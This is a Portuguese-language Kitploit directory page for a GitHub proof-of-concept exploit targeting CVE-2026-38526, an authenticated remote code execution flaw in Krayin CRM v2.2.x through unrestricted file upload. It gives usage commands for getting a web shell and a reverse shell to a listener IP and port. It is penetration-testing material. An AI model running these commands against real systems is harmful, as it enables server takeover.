Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-38526 — Exploit de prova de conceito para execução remota de código autenticada no Krayin CRM v2.2.x via upload de arquivo irrestrito, suportando payloads de web shell e reverse shell. | Kitploit
Ferramentas/GitHubGitHub/qurclinc/cve-2026-38526
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubqurclinc/cve-2026-38526

CVE-2026-38526

Exploit de prova de conceito para execução remota de código autenticada no Krayin CRM v2.2.x via upload de arquivo irrestrito, suportando payloads de web shell e reverse shell.

Ver Repositório
1há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-38526 - Krayin CRM RCE

Descrição

Script de PoC para vulnerabilidade crítica no Krayin CRM v2.2.x permitindo RCE autenticado via upload de arquivo sem restrições.

Uso

root@kitploit:~
# Web shell
python3 exploit.py -u http://target.com -e [email protected] -p password123

# Reverse shell
python3 exploit.py -u http://target.com -e [email protected] -p password123 -l 10.10.10.10 -P 4444

Requisitos

  • Python 3.8+
  • requests, bs4

Aviso Legal

Apenas para fins educacionais.

Referência

  • https://github.com/TREXNEGRO/Security-Advisories/blob/main/CVE-2026-38526/poc.md
Baixar ferramenta